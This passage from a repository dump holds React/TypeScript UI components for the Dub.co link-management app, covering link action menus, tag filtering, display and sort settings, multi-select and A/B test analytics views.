icon={<PenWriting className=\"size-4\" />}\n                  shortcut=\"E\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabledTooltip={\n                    !canManageLink\n                      ? \"You don't have permission to update this link.\"\n                      : undefined\n                  }\n                />\n              )}\n              {options.includes(\"qr\") && (\n                <Button\n                  text=\"QR Code\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowLinkQRModal(true);\n                  }}\n                  icon={<QRCode className=\"size-4\" />}\n                  shortcut=\"Q\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n              )}\n              {options.includes(\"id\") && (\n                <Button\n                  text=\"Copy Link ID\"\n                  variant=\"outline\"\n                  onClick={() => copyLinkId()}\n                  icon={\n                    copiedLinkId ? (\n                      <CircleCheck className=\"size-4\" />\n                    ) : (\n                      <Copy className=\"size-4\" />\n                    )\n                  }\n                  shortcut=\"I\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n              )}\n              {options.includes(\"duplicate\") && (\n                <Button\n                  text=\"Duplicate\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowDuplicateLinkModal(true);\n                  }}\n                  icon={<CopyPlus className=\"size-4\" />}\n                  shortcut=\"D\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabledTooltip={\n                    !canManageLink\n                      ? \"You don't have permission to duplicate this link.\"\n                      : undefined\n                  }\n                />\n              )}\n            </div>\n            <div className=\"border-t border-neutral-200\" />\n            <div className=\"grid gap-px p-2\">\n              {options.includes(\"move\") && (\n                <Button\n                  text=\"Move\"\n                  variant=\"outline\"\n                  shortcut=\"M\"\n                  className=\"h-9 px-2 font-medium\"\n                  icon={<FolderBookmark className=\"size-4 text-neutral-600\" />}\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowMoveLinkToFolderModal(true);\n                  }}\n                  disabledTooltip={\n                    !canManageLink\n                      ? \"You don't have permission to move this link to another folder.\"\n                      : undefined\n                  }\n                />\n              )}\n              {options.includes(\"archive\") && (\n                <Button\n                  text={link.archived ? \"Unarchive\" : \"Archive\"}\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowArchiveLinkModal(true);\n                  }}\n                  icon={<BoxArchive className=\"size-4\" />}\n                  shortcut=\"A\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabledTooltip={\n                    !canManageLink\n                      ? \"You don't have permission to archive this link.\"\n                      : undefined\n                  }\n                />\n              )}\n              {options.includes(\"transfer\") && (\n                <Button\n                  text=\"Transfer\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowTransferLinkModal(true);\n                  }}\n                  icon={<FolderInput className=\"size-4\" />}\n                  shortcut=\"T\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabledTooltip={\n                    !isDubDomain(link.domain)\n                      ? \"Since this is a custom domain link, you can only transfer it to another workspace if you transfer the domain as well. [Learn more.](https://dub.co/help/article/how-to-transfer-domains)\"\n                      : !canManageLink\n                        ? \"You don't have permission to transfer this link.\"\n                        : undefined\n                  }\n                />\n              )}\n              {options.includes(\"delete\") && (\n                <Button\n                  text=\"Delete\"\n                  variant=\"danger-outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowDeleteLinkModal(true);\n                  }}\n                  icon={<Trash className=\"size-4\" />}\n                  shortcut=\"X\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabled={isRootLink || isProgramLinkWithLeads}\n                  disabledTooltip={\n                    !canManageLink\n                      ? \"You don't have permission to delete this link.\"\n                      : isRootLink\n                        ? \"You can't delete a custom domain link. You can delete the domain instead.\"\n                        : isProgramLinkWithLeads\n                          ? \"You can't delete a partner link that has existing leads. We recommend archiving it instead.\"\n                          : undefined\n                  }\n                />\n              )}\n\n              {options.includes(\"ban\") &&\n                !slug && ( // this is only shown in admin mode (where there's no slug)\n                  <button\n                    onClick={() => handleBanLink()}\n                    className=\"group flex w-full items-center justify-between rounded-md p-2 text-left text-sm font-medium text-red-600 transition-all duration-75 hover:bg-red-600 hover:text-white\"\n                  >\n                    <IconMenu text=\"Ban\" icon={<Trash className=\"size-4\" />} />\n                    <kbd className=\"hidden rounded bg-red-100 px-2 py-0.5 text-xs font-light text-red-600 transition-all duration-75 group-hover:bg-red-500 group-hover:text-white sm:inline-block\">\n                      B\n                    </kbd>\n                  </button>\n                )}\n            </div>\n          </div>\n        }\n        align=\"end\"\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <Button\n          variant=\"secondary\"\n          className={cn(\n            \"h-8 px-1.5 outline-none transition-all duration-200\",\n            \"border-transparent data-[state=open]:border-neutral-500 sm:group-hover/card:data-[state=closed]:border-neutral-200\",\n            className,\n          )}\n          icon={<ThreeDots className={cn(\"size-5 shrink-0\", iconClassName)} />}\n          onClick={() => {\n            setOpenPopover(!openPopover);\n          }}\n        />\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-details-column.tsx",
    "content": "import { TagProps } from \"@/lib/types\";\nimport { CardList, Tooltip, useRouterStuff } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  memo,\n  PropsWithChildren,\n  useCallback,\n  useContext,\n  useMemo,\n  useRef,\n} from \"react\";\nimport { LinkAnalyticsBadge } from \"./link-analytics-badge\";\nimport { LinkControls } from \"./link-controls\";\nimport { useLinkSelection } from \"./link-selection-provider\";\nimport { LinksListContext, ResponseLink } from \"./links-container\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\nimport TagBadge from \"./tag-badge\";\n\nfunction useOrganizedTags(tags: ResponseLink[\"tags\"]) {\n  const searchParams = useSearchParams();\n\n  const [primaryTag, additionalTags] = useMemo(() => {\n    const filteredTagIds =\n      searchParams?.get(\"tagIds\")?.split(\",\")?.filter(Boolean) ?? [];\n\n    /*\n      Sort tags so that the filtered tags are first. The most recently selected\n      filtered tag (last in array) should be displayed first.\n    */\n    const sortedTags =\n      filteredTagIds.length > 0\n        ? [...tags].sort(\n            (a, b) =>\n              filteredTagIds.indexOf(b.id) - filteredTagIds.indexOf(a.id),\n          )\n        : tags;\n\n    return [sortedTags?.[0], sortedTags.slice(1)];\n  }, [tags, searchParams]);\n\n  return { primaryTag, additionalTags };\n}\n\nexport function LinkDetailsColumn({ link }: { link: ResponseLink }) {\n  const { tags } = link;\n\n  const { displayProperties } = useContext(LinksDisplayContext);\n\n  const ref = useRef<HTMLDivElement>(null);\n\n  const { primaryTag, additionalTags } = useOrganizedTags(tags);\n\n  return (\n    <div ref={ref} className=\"flex items-center justify-end gap-2 sm:gap-5\">\n      {displayProperties.includes(\"tags\") && primaryTag && (\n        <TagsTooltip additionalTags={additionalTags}>\n          <TagButton tag={primaryTag} plus={additionalTags.length} />\n        </TagsTooltip>\n      )}\n      {displayProperties.includes(\"analytics\") && (\n        <LinkAnalyticsBadge link={link} />\n      )}\n      <Controls link={link} />\n    </div>\n  );\n}\n\nconst Controls = memo(({ link }: { link: ResponseLink }) => {\n  const { isSelectMode } = useLinkSelection();\n  const { hovered } = useContext(CardList.Card.Context);\n\n  const { openMenuLinkId, setOpenMenuLinkId } = useContext(LinksListContext);\n  const openPopover = openMenuLinkId === link.id;\n  const setOpenPopover = useCallback(\n    (open: boolean) => {\n      setOpenMenuLinkId(open ? link.id : null);\n    },\n    [link.id, setOpenMenuLinkId],\n  );\n\n  return (\n    <div className={cn(isSelectMode && \"hidden sm:block\")}>\n      <LinkControls\n        link={link}\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        shortcutsEnabled={openPopover || (hovered && openMenuLinkId === null)}\n      />\n    </div>\n  );\n});\n\nfunction TagsTooltip({\n  additionalTags,\n  children,\n}: PropsWithChildren<{ additionalTags: TagProps[] }>) {\n  return !!additionalTags.length ? (\n    <Tooltip\n      content={\n        <div className=\"flex flex-wrap gap-1.5 p-3\">\n          {additionalTags.map((tag) => (\n            <TagButton key={tag.id} tag={tag} />\n          ))}\n        </div>\n      }\n      side=\"top\"\n      align=\"end\"\n    >\n      <div>{children}</div>\n    </Tooltip>\n  ) : (\n    children\n  );\n}\n\nfunction TagButton({ tag, plus }: { tag: TagProps; plus?: number }) {\n  const { queryParams } = useRouterStuff();\n  const searchParams = useSearchParams();\n\n  const selectedTagIds =\n    searchParams?.get(\"tagIds\")?.split(\",\")?.filter(Boolean) ?? [];\n\n  return (\n    <button\n      onClick={() => {\n        let newTagIds = selectedTagIds.includes(tag.id)\n          ? selectedTagIds.filter((id) => id !== tag.id)\n          : [...selectedTagIds, tag.id];\n\n        queryParams({\n          set: {\n            tagIds: newTagIds.join(\",\"),\n          },\n          del: [\"page\", ...(newTagIds.length ? [] : [\"tagIds\"])],\n        });\n      }}\n    >\n      <TagBadge {...tag} withIcon plus={plus} />\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-display.tsx",
    "content": "import {\n  linksDisplayProperties,\n  LinksViewMode,\n} from \"@/lib/links/links-display\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  Button,\n  Popover,\n  Switch,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport {\n  ArrowsOppositeDirectionY,\n  BoxArchive,\n  GridLayoutRows,\n  Sliders,\n  TableRows2,\n} from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useContext, useState } from \"react\";\nimport LinkSort from \"./link-sort\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\n\nexport default function LinkDisplay() {\n  const {\n    viewMode,\n    setViewMode,\n    showArchived,\n    setShowArchived,\n    displayProperties,\n    setDisplayProperties,\n    isDirty,\n    persist,\n    reset,\n  } = useContext(LinksDisplayContext);\n\n  const { isMegaWorkspace } = useWorkspace();\n\n  const [openPopover, setOpenPopover] = useState(false);\n  const { queryParams } = useRouterStuff();\n\n  useKeyboardShortcut(\"a\", () => setShowArchived((o) => !o), {\n    enabled: !isMegaWorkspace,\n  });\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full divide-y divide-neutral-200 text-sm md:w-80\">\n          <div className=\"grid grid-cols-2 gap-2 p-3\">\n            {[\n              { id: \"cards\", label: \"Cards\", icon: GridLayoutRows },\n              { id: \"rows\", label: \"Rows\", icon: TableRows2 },\n            ].map(({ id, label, icon: Icon }) => {\n              const selected = viewMode === id;\n              return (\n                <button\n                  key={id}\n                  className={cn(\n                    \"flex h-16 flex-col items-center justify-center gap-1 rounded-md border border-transparent transition-colors\",\n                    selected\n                      ? \"border-neutral-300 bg-neutral-100 text-neutral-950\"\n                      : \"text-neutral-800 hover:bg-neutral-100 hover:text-neutral-950\",\n                  )}\n                  onClick={() => setViewMode(id as LinksViewMode)}\n                  aria-pressed={selected}\n                >\n                  <Icon\n                    className={cn(\n                      \"h-5 w-5 text-neutral-600\",\n                      selected && \"text-neutral-800\",\n                    )}\n                  />\n                  {label}\n                </button>\n              );\n            })}\n          </div>\n          {!isMegaWorkspace && (\n            <div className=\"flex h-16 items-center justify-between gap-2 px-4\">\n              <span className=\"flex items-center gap-2\">\n                <ArrowsOppositeDirectionY className=\"h-4 w-4 text-neutral-800\" />\n                Ordering\n              </span>\n              <div>\n                <LinkSort />\n              </div>\n            </div>\n          )}\n          {!isMegaWorkspace && (\n            <div className=\"group flex h-16 items-center justify-between gap-2 px-4\">\n              <div className=\"flex items-center gap-2\">\n                <div className=\"flex w-6 items-center justify-center\">\n                  <BoxArchive className=\"size-4 text-neutral-800 group-hover:hidden\" />\n                  <kbd className=\"hidden rounded border border-neutral-200 bg-neutral-100 px-2 py-0.5 text-xs font-light text-neutral-500 group-hover:block\">\n                    A\n                  </kbd>\n                </div>\n                Show archived links\n              </div>\n              <div>\n                <Switch\n                  checked={showArchived}\n                  fn={(checked) => {\n                    setShowArchived(checked);\n                    queryParams({\n                      del: [\n                        \"showArchived\", // Remove legacy query param\n                        \"page\", // Reset pagination\n                      ],\n                    });\n                  }}\n                />\n              </div>\n            </div>\n          )}\n          <div className=\"p-4\">\n            <span className=\"text-xs uppercase text-neutral-500\">\n              Display Properties\n            </span>\n            <div className=\"mt-4 flex flex-wrap gap-2\">\n              {linksDisplayProperties.map((property) => {\n                const active = displayProperties.includes(property.id);\n                return (\n                  <button\n                    key={property.id}\n                    aria-pressed={active}\n                    onClick={() => {\n                      let newDisplayProperties = active\n                        ? displayProperties.filter((p) => p !== property.id)\n                        : [...displayProperties, property.id];\n\n                      if (property.switch) {\n                        // Toggle switched property\n                        newDisplayProperties = [\n                          ...newDisplayProperties.filter(\n                            (p) => p !== property.switch,\n                          ),\n                          ...(active ? [property.switch] : []),\n                        ];\n                      }\n\n                      setDisplayProperties(newDisplayProperties);\n                    }}\n                    className={cn(\n                      \"rounded-md border px-2 py-0.5 text-sm\",\n                      property.mobile === false && \"hidden sm:block\",\n                      active\n                        ? \"border-neutral-300 bg-neutral-100 text-neutral-950\"\n                        : \"border-transparent text-neutral-600 hover:bg-neutral-100 hover:text-neutral-950\",\n                    )}\n                  >\n                    {property.label}\n                  </button>\n                );\n              })}\n            </div>\n          </div>\n          <AnimatePresence initial={false}>\n            {isDirty && (\n              <motion.div\n                initial={{ height: 0 }}\n                animate={{ height: \"auto\" }}\n                exit={{ height: 0 }}\n                transition={{ duration: 0.15 }}\n                className=\"overflow-hidden\"\n              >\n                <div className=\"flex items-center justify-end gap-2 p-2\">\n                  <Button\n                    className=\"h-8 w-auto px-2\"\n                    variant=\"outline\"\n                    text=\"Reset to default\"\n                    onClick={reset}\n                  />\n                  <Button\n                    className=\"h-8 w-auto px-2\"\n                    variant=\"primary\"\n                    text=\"Set as default\"\n                    onClick={persist}\n                  />\n                </div>\n              </motion.div>\n            )}\n          </AnimatePresence>\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <Button\n        variant=\"secondary\"\n        className=\"hover:bg-white [&>div]:w-full\"\n        textWrapperClassName=\"!overflow-visible\"\n        text={\n          <div className=\"flex w-full items-center gap-2\">\n            <div className=\"relative shrink-0\">\n              <Sliders className=\"h-4 w-4\" />\n              {isDirty && (\n                <div className=\"absolute -right-0.5 -top-0.5 size-2 rounded-full bg-blue-500\">\n                  <div className=\"h-full w-full animate-pulse rounded-full ring-2 ring-blue-500/40\" />\n                </div>\n              )}\n            </div>\n            <span className=\"grow text-left\">Display</span>\n            <ChevronDown\n              className={cn(\"h-4 w-4 text-neutral-400 transition-transform\", {\n                \"rotate-180\": openPopover,\n              })}\n            />\n          </div>\n        }\n      />\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-icon.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Hyperlink, LinkLogo } from \"@dub/ui\";\nimport { fetcher, getApexDomain } from \"@dub/utils\";\nimport useSWR from \"swr\";\n\nexport function LinkIcon({\n  url: urlProp,\n  domain,\n  linkKey,\n}: {\n  url?: string;\n  domain?: string;\n  linkKey?: string;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { data } = useSWR<{ url: string }>(\n    !urlProp && workspaceId && domain && linkKey\n      ? `/api/links/info?${new URLSearchParams({ workspaceId, domain, key: linkKey }).toString()}`\n      : null,\n    fetcher,\n  );\n\n  const url = urlProp || data?.url;\n  return url ? (\n    <LinkLogo\n      apexDomain={getApexDomain(url)}\n      className=\"h-4 w-4 sm:h-4 sm:w-4\"\n    />\n  ) : (\n    <Hyperlink className=\"h-4 w-4\" />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-not-found.tsx",
    "content": "import { FileX2 } from \"lucide-react\";\n\nexport default function LinkNotFound() {\n  return (\n    <div className=\"flex flex-col items-center justify-center rounded-md border border-neutral-200 bg-white py-12\">\n      <div className=\"rounded-full bg-neutral-100 p-3\">\n        <FileX2 className=\"h-6 w-6 text-neutral-600\" />\n      </div>\n      <h1 className=\"my-3 text-xl font-semibold text-neutral-700\">\n        Link Not Found\n      </h1>\n      <p className=\"z-10 max-w-sm text-center text-sm text-neutral-600\">\n        Bummer! The link you are looking for does not exist. Adjust your filters\n        to yield more results.\n      </p>\n      <img\n        src=\"https://assets.dub.co/misc/not-found.svg\"\n        alt=\"No links yet\"\n        width={300}\n        height={300}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-selection-provider.tsx",
    "content": "import {\n  Dispatch,\n  SetStateAction,\n  createContext,\n  useContext,\n  useEffect,\n  useState,\n} from \"react\";\nimport { ResponseLink } from \"./links-container\";\n\ninterface LinkSelectionContext {\n  isSelectMode: boolean;\n  setIsSelectMode: Dispatch<SetStateAction<boolean>>;\n  selectedLinkIds: string[];\n  setSelectedLinkIds: Dispatch<SetStateAction<string[]>>;\n  lastSelectedLinkId: string | null;\n  handleLinkSelection: (linkId: string, e: React.MouseEvent) => void;\n}\n\nconst LinkSelectionContext = createContext<LinkSelectionContext | null>(null);\n\nexport function LinkSelectionProvider({\n  children,\n  links,\n}: {\n  children: React.ReactNode;\n  links?: ResponseLink[];\n}) {\n  const [isSelectMode, setIsSelectMode] = useState(false);\n  const [selectedLinkIds, setSelectedLinkIds] = useState<string[]>([]);\n  const [lastSelectedLinkId, setLastSelectedLinkId] = useState<string | null>(\n    null,\n  );\n\n  useEffect(() => {\n    // Deselect any links no longer in the list\n    setSelectedLinkIds((prev) =>\n      links ? prev.filter((id) => links.find((l) => l.id === id)) : [],\n    );\n  }, [links]);\n\n  const handleLinkSelection = (linkId: string, e: React.MouseEvent) => {\n    if (e.shiftKey && lastSelectedLinkId && links) {\n      const lastSelectedIndex = links.findIndex(\n        (l) => l.id === lastSelectedLinkId,\n      );\n      const currentIndex = links.findIndex((l) => l.id === linkId);\n\n      if (lastSelectedIndex !== -1 && currentIndex !== -1) {\n        const start = Math.min(lastSelectedIndex, currentIndex);\n        const end = Math.max(lastSelectedIndex, currentIndex);\n        const rangeIds = links.slice(start, end + 1).map((l) => l.id);\n\n        if (selectedLinkIds.includes(linkId)) {\n          setSelectedLinkIds((prev) =>\n            prev.filter((id) => !rangeIds.includes(id)),\n          );\n        } else {\n          setSelectedLinkIds((prev) =>\n            Array.from(new Set([...prev, ...rangeIds])),\n          );\n        }\n        setLastSelectedLinkId(linkId);\n      }\n    } else {\n      setLastSelectedLinkId(linkId);\n      setSelectedLinkIds((prev) =>\n        prev.includes(linkId)\n          ? prev.filter((id) => id !== linkId)\n          : [...prev, linkId],\n      );\n    }\n  };\n\n  return (\n    <LinkSelectionContext.Provider\n      value={{\n        isSelectMode,\n        setIsSelectMode,\n        selectedLinkIds,\n        setSelectedLinkIds,\n        lastSelectedLinkId,\n        handleLinkSelection,\n      }}\n    >\n      {children}\n    </LinkSelectionContext.Provider>\n  );\n}\n\nexport function useLinkSelection() {\n  const context = useContext(LinkSelectionContext);\n  if (context === null) {\n    throw new Error(\n      \"useLinkSelection must be used within LinkSelectionProvider\",\n    );\n  }\n  return context;\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-sort.tsx",
    "content": "import { linksSortOptions } from \"@/lib/links/links-display\";\nimport { IconMenu, Popover, Tick, useRouterStuff } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronDown, SortDesc } from \"lucide-react\";\nimport { useContext, useState } from \"react\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\n\nexport default function LinkSort() {\n  const { queryParams } = useRouterStuff();\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { sortBy, setSort } = useContext(LinksDisplayContext);\n  const selectedSort =\n    linksSortOptions.find((s) => s.slug === sortBy) ?? linksSortOptions[0];\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full p-2 md:w-48\">\n          {linksSortOptions.map(({ display, slug }) => (\n            <button\n              key={slug}\n              onClick={() => {\n                setSort(slug);\n                queryParams({\n                  del: [\n                    \"sort\", // Remove legacy query param\n                    \"page\", // Reset pagination\n                  ],\n                });\n                setOpenPopover(false);\n              }}\n              className=\"flex w-full items-center justify-between space-x-2 rounded-md px-1 py-2 hover:bg-neutral-100 active:bg-neutral-200\"\n            >\n              <IconMenu\n                text={display}\n                icon={<SortDesc className=\"h-4 w-4\" />}\n              />\n              {sortBy === slug && (\n                <Tick className=\"h-4 w-4\" aria-hidden=\"true\" />\n              )}\n            </button>\n          ))}\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <button\n        onClick={() => setOpenPopover(!openPopover)}\n        className={cn(\n          \"group flex h-10 cursor-pointer appearance-none items-center gap-x-2 truncate rounded-md border px-3 text-sm outline-none transition-all\",\n          \"border-neutral-200 bg-white text-neutral-900 placeholder-neutral-400\",\n          \"focus-visible:border-neutral-500 data-[state=open]:border-neutral-500 data-[state=open]:ring-4 data-[state=open]:ring-neutral-200\",\n        )}\n      >\n        <SortDesc className=\"h-4 w-4\" />\n        <span className=\"flex-1 overflow-hidden text-ellipsis whitespace-nowrap text-left text-neutral-900\">\n          {selectedSort.display || \"Sort by\"}\n        </span>\n        <ChevronDown className=\"h-4 w-4 flex-shrink-0 text-neutral-400 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n      </button>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-tests.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ABTestVariantsSchema } from \"@/lib/zod/schemas/links\";\nimport { fetcher, getPrettyUrl } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { memo, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { LinkAnalyticsBadge } from \"./link-analytics-badge\";\nimport { useLinkCardContext } from \"./link-card\";\nimport { ResponseLink } from \"./links-container\";\n\nexport const LinkTests = memo(({ link }: { link: ResponseLink }) => {\n  const { id: workspaceId } = useWorkspace();\n  const { showTests } = useLinkCardContext();\n\n  const testVariants = useMemo(() => {\n    if (\n      !link.testVariants ||\n      !link.testCompletedAt ||\n      !(new Date() < new Date(link.testCompletedAt))\n    )\n      return null;\n\n    try {\n      return ABTestVariantsSchema.parse(link.testVariants);\n    } catch (e) {\n      console.error(`Failed to parse link testVariants for link ${link.id}`, e);\n    }\n    return null;\n  }, [link.testVariants, link.testCompletedAt, link.id]);\n\n  const { data, isLoading, error } = useSWR<\n    {\n      url: string;\n      clicks: number;\n      leads: number;\n      saleAmount: number;\n      sales: number;\n    }[]\n  >(\n    Boolean(testVariants && testVariants.length) &&\n      showTests &&\n      `/api/analytics?${new URLSearchParams({\n        event: \"composite\",\n        groupBy: \"top_base_urls\",\n        linkId: link.id,\n        workspaceId: workspaceId!,\n        ...(link.testStartedAt && {\n          start: new Date(link.testStartedAt).toISOString(),\n        }),\n      }).toString()}`,\n    fetcher,\n    {\n      revalidateOnFocus: false,\n    },\n  );\n\n  if (!testVariants || !testVariants.length) return null;\n\n  return (\n    <motion.div\n      initial={false}\n      animate={{ height: showTests ? \"auto\" : 0 }}\n      transition={{ duration: 0.2 }}\n      className=\"overflow-hidden\"\n    >\n      <ul className=\"flex flex-col gap-2.5 border-t border-neutral-200 bg-neutral-100 p-3\">\n        {testVariants.map((test, idx) => {\n          const analytics = data?.find(({ url }) => url === test.url);\n\n          return (\n            <li\n              key={idx}\n              className=\"flex items-center justify-between rounded-md border border-neutral-300 bg-white p-2.5\"\n            >\n              <div className=\"flex min-w-0 items-center gap-4\">\n                {/* Test number */}\n                <div className=\"size-7 shrink-0 select-none rounded-full border border-neutral-200/50 p-px\">\n                  <div className=\"flex size-full items-center justify-center rounded-full bg-gradient-to-t from-neutral-950/5 text-sm font-medium text-neutral-800\">\n                    {idx + 1}\n                  </div>\n                </div>\n\n                {/* Test name */}\n                <span className=\"truncate text-sm font-medium text-neutral-800\">\n                  {getPrettyUrl(test.url)}\n                </span>\n              </div>\n\n              <div className=\"flex items-center gap-5\">\n                {/* Test percentage */}\n                <div className=\"h-7 shrink-0 select-none rounded-[6px] border border-neutral-200/50 p-px\">\n                  <div className=\"flex size-full items-center justify-center rounded-[5px] bg-gradient-to-t from-neutral-950/5 px-1.5 text-xs font-semibold tabular-nums text-neutral-800\">\n                    {Math.round(test.percentage)}%\n                  </div>\n                </div>\n\n                {/* Analytics badge */}\n                <div className=\"flex justify-end sm:min-w-48\">\n                  {isLoading ? (\n                    <div className=\"h-7 w-32 animate-pulse rounded-md bg-neutral-100\" />\n                  ) : error ? null : (\n                    <LinkAnalyticsBadge\n                      link={{\n                        ...link,\n                        clicks: analytics?.clicks ?? 0,\n                        leads: analytics?.leads ?? 0,\n                        sales: analytics?.sales ?? 0,\n                        saleAmount: analytics?.saleAmount ?? 0,\n                      }}\n                      sharingEnabled={false}\n                    />\n                  )}\n                </div>\n              </div>\n            </li>\n          );\n        })}\n      </ul>\n    </motion.div>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/links/link-title-column.tsx",
    "content": "\"use client\";\n\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useDomain from \"@/lib/swr/use-domain\";\nimport useFolder from \"@/lib/swr/use-folder\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UserProps } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport {\n  ArrowTurnRight2,\n  CardList,\n  CopyButton,\n  LinkLogo,\n  Switch,\n  TimestampTooltip,\n  Tooltip,\n  TooltipContent,\n  useInViewport,\n} from \"@dub/ui\";\nimport {\n  AppleLogo,\n  ArrowRight,\n  Bolt,\n  BoxArchive,\n  Cards,\n  Check2,\n  CircleHalfDottedClock,\n  EarthPosition,\n  Incognito,\n  InputPassword,\n  Robot,\n  SquareChart,\n} from \"@dub/ui/icons\";\nimport {\n  cn,\n  getApexDomain,\n  getPrettyUrl,\n  isDubDomain,\n  linkConstructor,\n  timeAgo,\n} from \"@dub/utils\";\nimport * as HoverCard from \"@radix-ui/react-hover-card\";\nimport { Mail } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport {\n  memo,\n  PropsWithChildren,\n  useContext,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { FolderIcon } from \"../folders/folder-icon\";\nimport { useLinkBuilder } from \"../modals/link-builder\";\nimport { CommentsBadge } from \"./comments-badge\";\nimport { DisabledLinkTooltip } from \"./disabled-link-tooltip\";\nimport { useLinkSelection } from \"./link-selection-provider\";\nimport { ResponseLink } from \"./links-container\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\nimport { TestsBadge } from \"./tests-badge\";\n\nconst quickViewSettings = [\n  { label: \"Conversion Tracking\", icon: SquareChart, key: \"trackConversion\" },\n  { label: \"Custom Link Preview\", icon: Cards, key: \"proxy\" },\n  { label: \"Link Cloaking\", icon: Incognito, key: \"rewrite\" },\n  { label: \"Password Protection\", icon: InputPassword, key: \"password\" },\n  { label: \"Link Expiration\", icon: CircleHalfDottedClock, key: \"expiresAt\" },\n  { label: \"iOS Targeting\", icon: AppleLogo, key: \"ios\" },\n  { label: \"Android Targeting\", icon: Robot, key: \"android\" },\n  { label: \"Geo Targeting\", icon: EarthPosition, key: \"geo\" },\n];\n\nconst LOGO_SIZE_CLASS_NAME =\n  \"size-4 sm:size-6 group-data-[variant=loose]/card-list:sm:size-5\";\n\nexport function LinkTitleColumn({ link }: { link: ResponseLink }) {\n  const { domain, key } = link;\n  const { slug } = useWorkspace();\n\n  const { variant, loading } = useContext(CardList.Context);\n  const { displayProperties } = useContext(LinksDisplayContext);\n\n  const ref = useRef<HTMLDivElement>(null);\n\n  const hasQuickViewSettings = quickViewSettings.some(({ key }) => link?.[key]);\n\n  const { folderId: currentFolderId } = useCurrentFolderId();\n\n  const showFolderIcon = useMemo(() => {\n    return Boolean(\n      !loading && link.folderId && currentFolderId !== link.folderId,\n    );\n  }, [loading, link.folderId, currentFolderId]);\n\n  const { folder } = useFolder({\n    folderId: link.folderId,\n    enabled: showFolderIcon,\n  });\n\n  return (\n    <div\n      ref={ref}\n      className=\"flex h-[32px] items-center gap-3 transition-[height] group-data-[variant=loose]/card-list:h-[60px]\"\n    >\n      {variant === \"compact\" && showFolderIcon && (\n        <Link href={`/${slug}/links?folderId=${link.folderId}`}>\n          {folder ? (\n            <FolderIcon folder={folder} shape=\"square\" innerClassName=\"p-1.5\" />\n          ) : (\n            <div className=\"size-8 rounded-md bg-neutral-200\" />\n          )}\n        </Link>\n      )}\n      <LinkIcon link={link} />\n      <div className=\"h-[24px] min-w-0 overflow-hidden transition-[height] group-data-[variant=loose]/card-list:h-[46px]\">\n        <div className=\"flex items-center gap-2\">\n          <div className=\"min-w-0 shrink grow-0 text-neutral-950\">\n            <div className=\"flex items-center gap-2\">\n              {displayProperties.includes(\"title\") && link.title ? (\n                <span\n                  className={cn(\n                    \"min-w-0 truncate font-semibold leading-6 text-neutral-800\",\n                    link.archived && \"text-neutral-600\",\n                  )}\n                >\n                  {link.title}\n                </span>\n              ) : (\n                <UnverifiedTooltip domain={domain} _key={key}>\n                  <a\n                    href={linkConstructor({ domain, key })}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    title={linkConstructor({ domain, key, pretty: true })}\n                    className={cn(\n                      \"font-semibold leading-6 text-neutral-800 transition-colors hover:text-black\",\n                      link.archived && \"text-neutral-600\",\n                    )}\n                  >\n                    {linkConstructor({ domain, key, pretty: true })}\n                  </a>\n                </UnverifiedTooltip>\n              )}\n              {link.disabledAt && <DisabledLinkTooltip />}\n              <CopyButton\n                value={linkConstructor({\n                  domain,\n                  key,\n                  pretty: false,\n                })}\n                variant=\"neutral\"\n                